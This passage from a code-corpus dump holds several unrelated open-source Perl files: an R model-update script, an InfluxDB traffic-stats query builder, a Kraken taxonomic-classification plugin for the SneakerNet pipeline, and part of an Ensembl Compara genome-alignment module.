.tictactoe td:last {
border-bottom-style: none;
}
</style>
|}).
| joaoraf/gameyard | src/main/prolog/game_types/tictactoe/swish_render_tictactoe.pl | Perl | apache-2.0 | 2,225 |
#!/usr/bin/env perl
use warnings;
use Getopt::Long;
use File::Copy;
use File::Path;
#Example commands are in ~smdi/dev/bin/R subfolder
$progName = "RModelManager.pl\n";
$use = <<___help;
$progName
-modelLocation <arg> If not specified, the model and the companion
files is assumed to be in
/gne/research/data/smdd/ApplicationData/ModelData/RModel. If
the model output files are in a sub directory, specify the
path to the given sub directory. If the model output files are
elsewhere, enter relative ("." or "..") or the absolute path
-modelName <arg> The name of the model output files.
-computeOutputScript <arg> The R script containing the functions
"computeOutput". The function "computeOutput" in this script
will overwrite the existing function for generating the
additional output. The specification is optional.
-printRScript Output R script before execution.
-h Output the help page
___help
$printRScript = "";
$debug = "";
$sdfRCreatorFunctionsFile = "$ENV{AESTEL_DIR}/../bin/R/model/sdfRCreatorFunctions.R";
umask 0007;
GetOptions( 'modelLocation=s' => \$modelLocation,
'modelName=s' => \$modelName,
'computeOutputScript=s' => \$computeOutputScript,
'printRScript' => \$printRScript,
'debug' => \$debug,
'h' => \$help ) || die("$use\n");
if( $help )
{ warn( "$use");
exit();
}
warn( "$progName \n\n" );
$errMessage = "";
if( !$modelLocation )
{ $errMessage .= "modelLocation is reqired\n"; }
if( !$modelName )
{ $errMessage .= "modelFilename is reqired\n"; }
$errMessage && die( "$errMessage \n$use" );
$modelRootDir = "/gne/research/data/smdd/ApplicationData/ModelData";
if( $modelLocation =~ m/^[^.\/]/ )
{ $modelDir = "$modelRootDir/$modelLocation";
} else
{ $modelDir = $modelLocation;
}
if( !-d $modelDir )
{ die( "$modelDir does not exists. \n$use" );
}
$modelFile = "$modelDir/$modelName";
if( !$computeOutputScript )
{ $computeOutputScript = "";
}elsif( ! -e $computeOutputScript )
{ die "conversionScript does not exist: $computeOutputScript\n";
}
$errMessage = "";
if( !-e "$modelFile.RDATA" )
{ die( "$modelFile.RDATA required\n$use");
}
system("cp '$modelFile.RDATA' '$modelFile.RDATA.bak'") == 0 || die "$!";
$com = <<com;
R --vanilla --slave --args <<'SCRIPT'
source( "$sdfRCreatorFunctionsFile" )
args <- commandArgs(TRUE)
# argument index starts with 1 instead 0
load( paste("$modelFile", '.RDATA', sep='') )
if( length( "$computeOutputScript" ) > 0
&& file.access( "$computeOutputScript", mode=4 ) == 0 )
{ if( exists( "computeOutput", mode="function" ) )
remove( computeOutput )
if( exists( "getOutputNameText", mode="function" ) )
remove( getOutputNameText )
sourceConversionScript( "$computeOutputScript" )
}
remove(args)
save.image( paste("$modelFile", '.RDATA', sep='') )
quit(status=0)
SCRIPT
com
if( $printRScript || $debug )
{ warn( $com );
}
exec( $com );
| chemalot/chemalot | bin/RModelManager.pl | Perl | apache-2.0 | 3,115 |
package Extensions::TrafficStats::Builder::DeliveryServiceStatsBuilder;
#
# Copyright 2015 Comcast Cable Communications Management, LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
#
#
use utf8;
use Data::Dumper;
use JSON;
use File::Slurp;
use Math::Round;
use Extensions::TrafficStats::Builder::BaseBuilder;
use Carp qw(cluck confess);
my $args;
sub new {
my $self = {};
my $class = shift;
$args = shift;
return ( bless( $self, $class ) );
}
sub validate_keys {
my $self = shift;
my $valid_keys = {
deliveryServiceName => 1,
metricType => 1,
startDate => 1,
endDate => 1,
dbName => 1,
interval => 1,
orderby => 1,
exclude => 1,
limit => 1,
offset => 1
};
return Extensions::TrafficStats::Builder::BaseBuilder->validate_keys( $args, $valid_keys );
}
sub summary_query {
my $self = shift;
if ( $self->validate_keys() ) {
#my $end_date = "'" . $args->{endDate} . "'";
my $end_date = Extensions::TrafficStats::Builder::BaseBuilder->to_influxdb_date( $args->{endDate} );
#'summary' section
my $query = sprintf(
'%s %s %s',
"SELECT mean(value), percentile(value, 5), percentile(value, 95), percentile(value, 98), min(value), max(value), count(value) FROM",
$args->{metricType}, "WHERE time >= '$args->{startDate}' AND
time <= $end_date AND
cachegroup = 'total' AND
deliveryservice = '$args->{deliveryServiceName}'"
);
$query = Extensions::TrafficStats::Builder::BaseBuilder->append_clauses( $query, $args );
return Extensions::TrafficStats::Builder::BaseBuilder->clean_whitespace($query);
}
}
sub series_query {
my $self = shift;
my $end_date = Extensions::TrafficStats::Builder::BaseBuilder->to_influxdb_date( $args->{endDate} );
#my $end_date = $args->{endDate};
my $query = sprintf(
'%s %s %s',
"SELECT sum(value)/count(value) FROM",
$args->{metricType}, "WHERE cachegroup = 'total' AND
deliveryservice = '$args->{deliveryServiceName}' AND
time >='$args->{startDate}' AND
time <= $end_date
GROUP BY time($args->{interval}), cachegroup"
);
$query = Extensions::TrafficStats::Builder::BaseBuilder->append_clauses( $query, $args );
return Extensions::TrafficStats::Builder::BaseBuilder->clean_whitespace($query);
}
sub usage_overview_tps_query {
my $self = shift;
if ( $self->validate_keys() ) {
my $query = "SELECT sum(value)/6 FROM tps_total WHERE cachegroup = 'total' and time > now() - 60s";
return Extensions::TrafficStats::Builder::BaseBuilder->clean_whitespace($query);
}
}
1;
| petrocc/traffic_control | traffic_ops/app/lib/Extensions/TrafficStats/Builder/DeliveryServiceStatsBuilder.pm | Perl | apache-2.0 | 3,349 |
#!/usr/bin/env perl
# Simply run kraken so that results are available to other plugins.
# Do not make any high-level conclusions.
use strict;
use warnings;
use Getopt::Long;
use Data::Dumper;
use File::Basename qw/fileparse basename dirname/;
use File::Copy qw/cp mv/;
use File::Temp qw/tempdir/;
use File::Spec::Functions qw/abs2rel rel2abs/;
use FindBin;
use lib "$FindBin::RealBin/../lib/perl5";
use SneakerNet qw/readTsv exitOnSomeSneakernetOptions recordProperties readConfig samplesheetInfo_tsv command logmsg/;
our $VERSION = "1.1";
our $CITATION= "Kraken plugin by Lee Katz. Uses Kraken1.";
my %errors = ();
# Get the executable directories
my $tmpSettings=readConfig();
local $0=fileparse $0;
exit(main());
sub main{
my $settings=readConfig();
GetOptions($settings,qw(version citation check-dependencies help debug tempdir=s numcpus=i force)) or die $!;
exitOnSomeSneakernetOptions({
_CITATION => $CITATION,
_VERSION => $VERSION,
zip => 'zip --version | grep "This is Zip"',
kraken => 'kraken --version | grep -m 1 version',
'kraken-translate (Kraken)' => 'kraken-translate --version | grep -m 1 version',
'kraken-report (Kraken)' => 'kraken-report --version | grep -m 1 version',
'ktImportText (Krona)' => 'ktImportText | grep "/" | grep -P -m 1 -o "KronaTools .*ktImportText"',
}, $settings,
);
usage() if($$settings{help} || !@ARGV);
$$settings{numcpus}||=1;
$$settings{KRAKEN_DEFAULT_DB} ||= die "ERROR: KRAKEN_DEFAULT_DB needs to be defined under config/settings.conf";
$$settings{tempdir}||=tempdir("$0XXXXXX",TMPDIR=>1, CLEANUP=>1);
my $dir=$ARGV[0];
mkdir "$dir/SneakerNet";
mkdir "$dir/SneakerNet/forEmail";
mkdir "$dir/SneakerNet/kraken";
# Pass read metrics along to the rest of the analysis through $$settings{readMetrics}
my $readMetrics = readTsv("$dir/SneakerNet/forEmail/readMetrics.tsv");
while(my($fastq, $metrics) = each(%$readMetrics)){
# Save the full path
my $fastqPath = File::Spec->rel2abs($fastq,$dir);
$$settings{readMetrics}{$fastqPath} = $metrics;
}
my $outdir=runKrakenOnDir($dir,$settings);
my $errorsMsg = join(" ", keys(%errors));
recordProperties($dir,{version=>$VERSION,krakenDatabase=>$$settings{KRAKEN_DEFAULT_DB}, errors=>$errorsMsg,});
return 0;
}
sub runKrakenOnDir{
my($dir,$settings)=@_;
# Expect output to go here
my $outdir="$dir/SneakerNet/kraken";
# Sanity check
if(!-e $outdir){
die "ERROR: output directory does not exist $outdir";
}
my $sampleInfo=samplesheetInfo_tsv("$dir/samples.tsv",$settings);
my @report; # reporting contamination in an array, in case I want to sort it later
while(my($sampleName,$s)=each(%$sampleInfo)){
my $sampledir="$outdir/$sampleName";
mkdir $sampledir;
logmsg "Running Kraken on $sampleName";
logmsg " Database: $$settings{KRAKEN_DEFAULT_DB}";
my $krakenWorked=runKraken($s,$sampledir,$settings);
# Check for anything odd in the report
if(-e "$sampledir/kraken.report"){
open(my $fh, "<", "$sampledir/kraken.report") or logmsg "Could not open $sampledir/kraken.report: $!";
while(<$fh>){
# Just look at the first integer and ignore decimals
# for the sake of simplicity
if(/(\d+)/){
my $percentMatch = $1;
if($percentMatch > 100){
$errors{"Internal error: There is at least one sample that has at least 100% of the hits"}++;
last;
}
}
}
close $fh;
}
if(!$krakenWorked){
logmsg "Kraken was not completed successfully on $sampleName. I will not output results for $sampleName";
$errors{"Kraken did not complete successfully for at least one sample"}++;
next;
}
}
return $outdir;
}
sub runKraken{
my($sample,$sampledir,$settings)=@_;
my $sampleName = $$sample{sample_id};
my $html="$sampledir/report.html";
if(-e $html && !$$settings{force}){
return 1;
}
# Skip any samples without reads or assemblies, ie, samples that are misnamed or not sequenced.
# There is no way to predict how a sample is misnamed and so it does not fall under
# this script's purview.
my $inputType = "READS";
if(!defined($$sample{fastq}) || !@{ $$sample{fastq} }){
logmsg "WARNING: I could not find the reads for $sampleName .";
$inputType = "";
return 0;
if(!defined($$sample{asm}) || (ref($$sample{asm} eq 'ARRAY') && !@{ $$sample{asm} })){
logmsg "WARNING: I could not find the assembly for $sampleName .";
return 0; # no reads or asm -- give up and return 0
} else {
$inputType = "ASM";
}
}
# Force an array
if(ref($$sample{fastq}) ne 'ARRAY'){
$$sample{fastq} = [$$sample{fastq}];
}
my @fastq = @{$$sample{fastq}};
my $asm = $$sample{asm};
if(@fastq < 2 && -e $asm){
return runKrakenAsm(@_);
}
if(@fastq == 1){
return runKrakenSE(@_);
}
elsif(@fastq == 2){
return runKrakenPE(@_);
}
elsif(@fastq > 2) {
my %sampleCopy = %$sample;
splice(@{ $sampleCopy{fastq} }, 2);
return runKrakenPE(\%sampleCopy, $sampledir, $settings);
}
die "INTERNAL ERROR";
return 0;
}
sub runKrakenAsm{
my($sample,$sampledir,$settings)=@_;
my $sampleName = $$sample{sample_id};
my $asm = $$sample{asm};
# Skip small file sizes.
# TODO: use something better like readMetrics.pl
if(-s $asm < 1000){
logmsg "The assembly is too small for $sampleName. Skipping";
return 0;
}
my $html="$sampledir/report.html";
# Run basic kraken command
command("kraken --fasta-input $asm --db=$$settings{KRAKEN_DEFAULT_DB} --threads $$settings{numcpus} --output $sampledir/kraken.out.tmp ");
mv("$sampledir/kraken.out.tmp", "$sampledir/kraken.out");
# Create the taxonomy but normalize for contig length
# I stole my own code from https://github.com/lskatz/lskScripts/blob/master/scripts/translate-kraken-contigs.pl
my %length; # Contig lengths
my %percentage; # Percentage of all nucleotides
open(my $fh, '<', "$sampledir/kraken.out") or die "ERROR: could not read $sampledir/kraken.out: $!";
while(<$fh>){
chomp;
my($classified,$seqname,$taxid,$length,$kmerTaxid)=split(/\t/,$_);
if($classified eq 'U'){
$percentage{'unclassified'}+=$length;
} else {
$length{$seqname} = $length;
}
}
close $fh;
# kraken-translate but tally all the sequence lengths
open(my $translateFh, "kraken-translate $sampledir/kraken.out | ") or die "ERROR: could not run kraken-translate on $sampledir/kraken.out: $!";
while(<$translateFh>){
chomp;
my($seqname,$taxonomyString)=split(/\t/,$_);
$taxonomyString=~s/\s+/_/g;
$taxonomyString=~s/;/\t/g;
$percentage{$taxonomyString}+=$length{$seqname};
}
close $translateFh;
# Create the kraken-translate file
my $taxonomyFile = "$sampledir/kraken.taxonomy";
open(my $taxonomyFh, '>', "$taxonomyFile.tmp") or die "ERROR: could not write to $taxonomyFile.tmp: $!";
while(my($taxonomyString,$sliceOfPie)=each(%percentage)){
print $taxonomyFh join("\t",$sliceOfPie,$taxonomyString)."\n";
}
close $taxonomyFh;
mv("$taxonomyFile.tmp", $taxonomyFile) or die $!;
command("kraken-report --db $$settings{KRAKEN_DEFAULT_DB} $sampledir/kraken.out > $sampledir/kraken.report");
filterReport($sampledir, $settings);
command("ktImportText -o $html $sampledir/kraken.taxonomy,$sampleName");
unlink("$sampledir/kraken.out");
return 1;
}
sub runKrakenSE{
my($sample,$sampledir,$settings)=@_;
my $sampleName = $$sample{sample_id};
# Skip small file sizes.
# TODO: use something better like readMetrics.pl
for(@{ $$sample{fastq} }){
if(-s $_ < 10000){
logmsg "There are few reads in $sampleName. Skipping.";
return 0;
}
}
my $html="$sampledir/report.html";
my $reads = $$sample{fastq}[0];
return 0 if(!$reads);
command("kraken --fastq-input $reads --db=$$settings{KRAKEN_DEFAULT_DB} --gzip-compressed --quick --threads $$settings{numcpus} --output $sampledir/kraken.out ");
command("kraken-translate --db $$settings{KRAKEN_DEFAULT_DB} $sampledir/kraken.out | cut -f 2- | sort | uniq -c | perl -lane '
s/^ +//; # remove leading spaces
s/ +/\t/; # change first set of spaces from uniq -c to a tab
s/;/\t/g; # change the semicolon-delimited taxonomy to tab-delimited
print;
' | sort -k1,1nr > $sampledir/kraken.taxonomy
");
command("kraken-report --db $$settings{KRAKEN_DEFAULT_DB} $sampledir/kraken.out > $sampledir/kraken.report");
filterReport($sampledir, $settings);
# To capture unclassified reads, we can get the third
# column of the first row of the report file. This
# information can be appended to the taxonomy file
# on the last line.
open(my $reportFh, "<", "$sampledir/kraken.report") or die "ERROR: could not read $sampledir/kraken.report: $!";
my $firstLine=<$reportFh>;
close $reportFh;
my $unclassifiedReadsCount=(split(/\t/, $firstLine))[2];
open(my $taxFh, ">>", "$sampledir/kraken.taxonomy") or die "ERROR: could not append to $sampledir/kraken.taxonomy: $!";
print $taxFh $unclassifiedReadsCount."\n";
close $taxFh;
command("ktImportText -o $html $sampledir/kraken.taxonomy,$sampleName");
# Go ahead and remove kraken.out which is a huge file
unlink("$sampledir/kraken.out");
if(! -e "$sampledir/kraken.taxonomy"){
return 0;
}
return 1;
}
sub runKrakenPE{
my($sample,$sampledir,$settings)=@_;
my $sampleName = $$sample{sample_id};
# Skip files with few reads.
for(@{ $$sample{fastq} }){
my $fastqFilename = basename($_);
my $numReads = $$settings{readMetrics}{$fastqFilename}{numReads};
if(defined($numReads) && $numReads < 100){
logmsg "There are few reads in $sampleName (N = $numReads). Skipping.";
return 0;
}
}
my $html="$sampledir/report.html";
my @twoReads = (@{$$sample{fastq}})[0,1];
my $reads="'".join("' '", @twoReads)."'";
return 0 if(!$reads);
command("kraken --fastq-input --paired $reads --db=$$settings{KRAKEN_DEFAULT_DB} --gzip-compressed --quick --threads $$settings{numcpus} --output $sampledir/kraken.out ");
command("kraken-translate --db $$settings{KRAKEN_DEFAULT_DB} $sampledir/kraken.out | cut -f 2- | sort | uniq -c | perl -lane '
s/^ +//; # remove leading spaces
s/ +/\t/; # change first set of spaces from uniq -c to a tab
s/;/\t/g; # change the semicolon-delimited taxonomy to tab-delimited
print;
' | sort -k1,1nr > $sampledir/kraken.taxonomy
");
command("kraken-report --db $$settings{KRAKEN_DEFAULT_DB} $sampledir/kraken.out > $sampledir/kraken.report");
filterReport($sampledir, $settings);
# To capture unclassified reads, we can get the third
# column of the first row of the report file. This
# information can be appended to the taxonomy file
# on the last line.
open(my $reportFh, "<", "$sampledir/kraken.report") or die "ERROR: could not read $sampledir/kraken.report: $!";
my $firstLine=<$reportFh>;
close $reportFh;
my $unclassifiedReadsCount=(split(/\t/, $firstLine))[2];
open(my $taxFh, ">>", "$sampledir/kraken.taxonomy") or die "ERROR: could not append to $sampledir/kraken.taxonomy: $!";
print $taxFh $unclassifiedReadsCount."\n";
close $taxFh;
command("ktImportText -o $html $sampledir/kraken.taxonomy,$sampleName");
# Go ahead and remove kraken.out which is a huge file
unlink("$sampledir/kraken.out");
if(! -e "$sampledir/kraken.taxonomy"){
return 0;
}
return 1;
}
sub filterReport{
my($sampledir, $settings) = @_;
# Also filter the kraken report to remove small percentages
# in pure perl to make it more portable
open(my $reportFh, "<", "$sampledir/kraken.report") or die "ERROR: could not open $sampledir/kraken.report: $!";
open(my $filteredFh, ">", "$sampledir/kraken.filtered.report") or die "ERROR: could not write to $sampledir/kraken.filtered.report: $!";
while(<$reportFh>){
# Just check out the first digits and don't sweat the decimals.
if(/(\d+)/){
my $percentageInt = $1;
next if($percentageInt < 1);
print $filteredFh $_;
}
}
close $reportFh;
close $filteredFh;
return "$sampledir/kraken.filtered.report";
}
sub usage{
print "Runs kraken in SneakerNet. Results are made available to other plugins.
Usage: $0 MiSeq_run_dir
--numcpus 1
--version
--force Overwrite any previous results
";
exit(0);
}
| lskatz/SneakerNet | SneakerNet.plugins/sn_kraken.pl | Perl | apache-2.0 | 12,473 |
#Ensembl module for Bio::EnsEMBL::Compara::Production::EPOanchors::GetBlastzOverlaps
# You may distribute this module under the same terms as perl itself
#
# POD documentation - main docs before the code
=head1 NAME
Bio::EnsEMBL::Compara::Production::EPOanchors:GetBlastzOverlaps:
=head1 SYNOPSIS
$exonate_anchors->fetch_input();
$exonate_anchors->run();
$exonate_anchors->write_output(); writes to database
=head1 DESCRIPTION
Given a database with anchor sequences and a target genome. This modules exonerates
the anchors against the target genome. The required information (anchor batch size,
target genome file, exonerate parameters are provided by the analysis, analysis_job
and analysis_data tables
This modules is part of the Ensembl project http://www.ensembl.org
Email compara@ebi.ac.uk
=head1 CONTACT
This modules is part of the EnsEMBL project (http://www.ensembl.org)
Questions can be posted to the ensembl-dev mailing list:
ensembl-dev@ebi.ac.uk
=head1 APPENDIX
The rest of the documentation details each of the object methods.
Internal methods are usually preceded with a _
=cut
#
package Bio::EnsEMBL::Compara::Production::EPOanchors::GetBlastzOverlaps;
use strict;
use Data::Dumper;
use Bio::EnsEMBL::Compara::Production::DBSQL::DBAdaptor;
use Bio::EnsEMBL::Hive::Process;
use Bio::EnsEMBL::Utils::Exception qw(throw warning);
use Bio::EnsEMBL::Analysis;
use Bio::EnsEMBL::Compara::DBSQL::DBAdaptor;
use Bio::EnsEMBL::Registry;
Bio::EnsEMBL::Registry->load_all;
Bio::EnsEMBL::Registry->no_version_check(1);
our @ISA = qw(Bio::EnsEMBL::Hive::Process);
sub configure_defaults {
my $self = shift;
$self->ref_dnafrag_strand(1); #reference strand is always 1
return 1;
}
sub fetch_input {
my ($self) = @_;
$self->configure_defaults();
$self->get_parameters($self->parameters);
#create a Compara::DBAdaptor which shares the same DBI handle with $self->db (Hive DBAdaptor)
$self->{'comparaDBA'} = Bio::EnsEMBL::Compara::Production::DBSQL::DBAdaptor->new(-DBCONN=>$self->db->dbc) or die "cant connect\n";
$self->{'comparaDBA'}->dbc->disconnect_if_idle();
$self->{'hiveDBA'} = Bio::EnsEMBL::Hive::DBSQL::DBAdaptor->new(-DBCONN => $self->{'comparaDBA'}->dbc) or die "cant connect\n";
$self->{'hiveDBA'}->dbc->disconnect_if_idle();
my $analysis_data_adaptor = $self->{hiveDBA}->get_AnalysisDataAdaptor();
my $mlssid_adaptor = Bio::EnsEMBL::Registry->get_adaptor("Multi", "compara", "MethodLinkSpeciesSet");
my $genome_db_adaptor = Bio::EnsEMBL::Registry->get_adaptor("Multi", "compara", "GenomeDB");
my $genomic_align_block_adaptor = Bio::EnsEMBL::Registry->get_adaptor("Multi", "compara", "GenomicAlignBlock");
$self->genomic_align_block_adaptor( $genomic_align_block_adaptor );
my $dnafrag_adaptor = Bio::EnsEMBL::Registry->get_adaptor("Multi", "compara", "DNAFrag");
$self->analysis_data( eval $analysis_data_adaptor->fetch_by_dbID($self->analysis_data_id) );
$self->get_input_id($self->input_id);
$self->reference_genome_db( $genome_db_adaptor->fetch_by_dbID($self->genome_db_ids->[0]) );
$self->ref_dnafrag( $dnafrag_adaptor->fetch_by_dbID($self->ref_dnafrag_id) );
my (@ref_dnafrag_coords, @mlssid_adaptors, $chunk_from, $chunk_to);
for(my$i=1;$i<@{$self->genome_db_ids};$i++){ #$self->genome_db_ids->[0] is the reference genome_db_id
my $mlss_id = $mlssid_adaptor->fetch_by_method_link_type_GenomeDBs(
$self->method_type,
[
$self->reference_genome_db,
$genome_db_adaptor->fetch_by_dbID( $self->genome_db_ids->[$i] ),
] );
push(@mlssid_adaptors, $mlss_id);
my $gabs = $genomic_align_block_adaptor->fetch_all_by_MethodLinkSpeciesSet_DnaFrag(
$mlss_id, $self->ref_dnafrag, $self->dnafrag_chunks->[0], $self->dnafrag_chunks->[1] );
foreach my $genomic_align_block( @$gabs ) {
next if $genomic_align_block->length < $self->analysis_data->{min_anc_size};
push( @ref_dnafrag_coords, [ $genomic_align_block->reference_genomic_align->dnafrag_start,
$genomic_align_block->reference_genomic_align->dnafrag_end,
$self->genome_db_ids->[$i] ] );
}
}
$self->mlssids( \@mlssid_adaptors );
$self->ref_dnafrag_coords( [ sort {$a->[0] <=> $b->[0]} @ref_dnafrag_coords ] ); #sort reference genomic_align_blocks (gabs) by start position
print "INPUT: ", scalar(@ref_dnafrag_coords), "\n";
return 1;
}
sub run {
my ($self) = @_;
my(@dnafrag_overlaps, @ref_coords_to_gerp);
for(my$i=0;$i<@{$self->ref_dnafrag_coords}-1;$i++) { #find overlapping gabs in reference seq coords
my $temp_end = $self->ref_dnafrag_coords->[$i]->[1];
for(my$j=$i+1;$j<@{$self->ref_dnafrag_coords};$j++) {
if($temp_end >= $self->ref_dnafrag_coords->[$j]->[0]) {
$temp_end = $temp_end > $self->ref_dnafrag_coords->[$j]->[1] ? $temp_end : $self->ref_dnafrag_coords->[$j]->[1];
}
else {
push(@dnafrag_overlaps, [$i, --$j]);
$i = $j;
last;
}
}
}
for(my$k=0;$k<@dnafrag_overlaps;$k++) {
my(%bases, @bases);
for(my$l=$dnafrag_overlaps[$k]->[0];$l<=$dnafrag_overlaps[$k]->[1];$l++) {#indices for $self->ref_dnafrag_coords
for(my$m=$self->ref_dnafrag_coords->[$l]->[0];$m<=$self->ref_dnafrag_coords->[$l]->[1];$m++) {
$bases{$m}{$self->ref_dnafrag_coords->[$l]->[2]}++; #count the number of non_ref org hits per base
}
}
foreach my $base(sort {$a <=> $b} keys %bases) {
if((keys %{$bases{$base}}) >= $self->analysis_data->{min_number_of_org_hits_per_base}) {
push(@bases, $base);
}
}
if(@bases) {
if($bases[-1] - $bases[0] >= $self->analysis_data->{min_anc_size}) {
push(@ref_coords_to_gerp, [ $bases[0], $bases[-1] ]);
}
}
}
my (%genomic_aligns_on_ref_slice);
my $query_slice_adaptor = Bio::EnsEMBL::Registry->get_adaptor($self->reference_genome_db->name, "core", "Slice");
foreach my $coord_pair(@ref_coords_to_gerp) {
my $ref_slice = $query_slice_adaptor->fetch_by_region(
$self->ref_dnafrag->coord_system_name, $self->ref_dnafrag->name, $coord_pair->[0], $coord_pair->[1] );
foreach my $mlss_id(@{$self->mlssids}) {
my $gabs = $self->genomic_align_block_adaptor->fetch_all_by_MethodLinkSpeciesSet_Slice($mlss_id, $ref_slice);
foreach my $gab (@$gabs) {
my $rgab = $gab->restrict_between_reference_positions($coord_pair->[0], $coord_pair->[1]);
my $restricted_non_reference_genomic_aligns = $rgab->get_all_non_reference_genomic_aligns;
foreach my $genomic_align (@$restricted_non_reference_genomic_aligns) {
push(@{ $genomic_aligns_on_ref_slice{"$coord_pair->[0]-$coord_pair->[1]"}{$genomic_align->dnafrag->dbID}{$genomic_align->dnafrag_strand} },
[ $genomic_align->dnafrag_start, $genomic_align->dnafrag_end ]);
}
}
}
foreach my $reference_from_to(sort keys %genomic_aligns_on_ref_slice) {
foreach my $dnafrag_id(sort keys %{$genomic_aligns_on_ref_slice{$reference_from_to}}) {
foreach my $dnafrag_strand(sort keys %{$genomic_aligns_on_ref_slice{$reference_from_to}{$dnafrag_id}}) {
my $sorted = \@{$genomic_aligns_on_ref_slice{$reference_from_to}{$dnafrag_id}{$dnafrag_strand}};
@{$sorted} = sort { $a->[0] <=> $b->[0] } @{$sorted};
}
}
}
}
$self->genomic_aligns_on_ref_slice( \%genomic_aligns_on_ref_slice );
print "RUN: ", scalar(keys %genomic_aligns_on_ref_slice), "\n";
return 1;
}
sub write_output {
my ($self) = @_;
my %sql_statements = (
insert_synteny_region => "INSERT INTO synteny_region (method_link_species_set_id) VALUES (?)",
insert_dnafrag_region => "INSERT INTO dnafrag_region (synteny_region_id, dnafrag_id, dnafrag_start, dnafrag_end, dnafrag_strand) VALUES (?,?,?,?,?)",
insert_next_analysis_job => "INSERT INTO analysis_job (analysis_id, input_id) VALUES (?,?)",
select_max_synteny_region_id => "SELECT MAX(synteny_region_id) FROM synteny_region WHERE method_link_species_set_id = ?",
select_logic_name => "SELECT logic_name FROM analysis WHERE analysis_id = ?",
select_next_analysis_id => "SELECT ctrled_analysis_id FROM analysis_ctrl_rule WHERE condition_analysis_url = (SELECT logic_name FROM analysis WHERE analysis_id = ?)",
select_next_mlssid => "SELECT method_link_species_set_id FROM method_link_species_set WHERE name = (SELECT logic_name FROM analysis WHERE analysis_id = ?)",
select_species_set_id => "SELECT species_set_id FROM method_link_species_set WHERE method_link_species_set_id = ?",
select_genome_db_ids => "SELECT GROUP_CONCAT(genome_db_id) FROM species_set WHERE species_set_id = ?",
);
foreach my$sql_statement(keys %sql_statements) {#prepare all the sql statements
$sql_statements{$sql_statement} = $self->{'comparaDBA'}->dbc->prepare($sql_statements{$sql_statement});
}
my $query_slice_adaptor = Bio::EnsEMBL::Registry->get_adaptor($self->reference_genome_db->name, "core", "Slice");
eval {
$sql_statements{select_next_analysis_id}->execute( $self->analysis_id ) or die;
};
if($@) {
die $@;
}
my $next_analysis_id = ($sql_statements{select_next_analysis_id}->fetchrow_array)[0];
$sql_statements{select_next_mlssid}->execute( $next_analysis_id );
my $next_method_link_species_set_id = ($sql_statements{select_next_mlssid}->fetchrow_array)[0];
$sql_statements{select_species_set_id}->execute( $next_method_link_species_set_id );
$sql_statements{select_genome_db_ids}->execute( ($sql_statements{select_species_set_id}->fetchrow_array)[0] );
my $genome_db_ids = ($sql_statements{select_genome_db_ids}->fetchrow_array)[0];
foreach my $ref_coords(sort keys %{$self->genomic_aligns_on_ref_slice}) {
my @Synteny_blocks_to_insert;
my $temp_next_analysis_id = $next_analysis_id;
my ($ref_from, $ref_to) = split("-", $ref_coords);
push(@Synteny_blocks_to_insert, [ $self->ref_dnafrag->dbID, $ref_from, $ref_to, $self->ref_dnafrag_strand ]);
foreach my $non_ref_dnafrag_id(sort keys %{$self->genomic_aligns_on_ref_slice->{$ref_coords}}) {
foreach my $non_ref_strand(sort keys %{$self->genomic_aligns_on_ref_slice->{$ref_coords}->{$non_ref_dnafrag_id}}) {
my $non_ref_coords = $self->genomic_aligns_on_ref_slice->{$ref_coords}->{$non_ref_dnafrag_id}->{$non_ref_strand};
next if ($non_ref_coords->[-1]->[1] - $non_ref_coords->[0]->[0] < $self->analysis_data->{min_anc_size} ||
($non_ref_coords->[-1]->[1] - $non_ref_coords->[0]->[0]) < ($ref_to - $ref_from) * 0.2 ||
($non_ref_coords->[-1]->[1] - $non_ref_coords->[0]->[0]) > ($ref_to - $ref_from) * 5 ); #need to change - gets rid of unalignable rubbish
push(@Synteny_blocks_to_insert, [$non_ref_dnafrag_id, $non_ref_coords->[0]->[0],
$non_ref_coords->[-1]->[1], $non_ref_strand]);
}
}
if(@Synteny_blocks_to_insert > 2) { #need at least 3 sequences for gerp
$self->{'comparaDBA'}->dbc->db_handle->do("LOCK TABLES synteny_region WRITE");
$sql_statements{insert_synteny_region}->execute( $self->method_link_species_set_id );
$sql_statements{select_max_synteny_region_id}->execute( $self->method_link_species_set_id );
my $synteny_region_id = ($sql_statements{select_max_synteny_region_id}->fetchrow_array)[0];
$self->{'comparaDBA'}->dbc->db_handle->do("UNLOCK TABLES");
while($temp_next_analysis_id) {
my($input_id_string, $next_logic_name);
$sql_statements{select_logic_name}->execute( $temp_next_analysis_id );
$next_logic_name = ($sql_statements{select_logic_name}->fetchrow_array)[0];
if( $next_logic_name=~/pecan/i ) {
$input_id_string = "{ synteny_region_id=>$synteny_region_id, method_link_species_set_id=>" .
$next_method_link_species_set_id . ", tree_analysis_data_id=>" . $self->tree_analysis_data_id . ", }";
}
elsif( $next_logic_name=~/gerp/i ) {
$input_id_string = "{genomic_align_block_id=>$synteny_region_id,species_set=>[$genome_db_ids]}";
}
eval { #add jobs to analysis_job for next analyses (pecan or gerp)
$sql_statements{insert_next_analysis_job}->execute($temp_next_analysis_id, $input_id_string);
};
$sql_statements{select_next_analysis_id}->execute( $temp_next_analysis_id );
$temp_next_analysis_id = ($sql_statements{select_next_analysis_id}->fetchrow_array)[0];
}
foreach my $dnafrag_region(@Synteny_blocks_to_insert) {
eval {
$sql_statements{insert_dnafrag_region}->execute( $synteny_region_id, @{$dnafrag_region} );
};
if($@) {
die $@;
}
}
}
}
print "Genome_db_ids: $genome_db_ids\n";
return 1;
}
sub mlssids {
my $self = shift;
if (@_) {
$self->{_mlssids} = shift;
}
return $self->{_mlssids};
}
sub ref_dnafrag_strand {
my $self = shift;
if (@_) {
$self->{_ref_dnafrag_strand} = shift;
}
return $self->{_ref_dnafrag_strand};
}
sub tree_analysis_data_id {
my $self = shift;
if (@_) {
$self->{_tree_analysis_data_id} = shift;
}
return $self->{_tree_analysis_data_id};
}
sub analysis_data_id {
my $self = shift;
if (@_) {
$self->{_analysis_data_id} = shift;
}
return $self->{_analysis_data_id};
}
sub analysis_data {
my $self = shift;
if (@_) {
$self->{_analysis_data} = shift;
}
return $self->{_analysis_data};
}
sub analysis_id {
my $self = shift;
if (@_) {
$self->{_analysis_id} = shift;
}
return $self->{_analysis_id};
}
sub ref_dnafrag_coords {
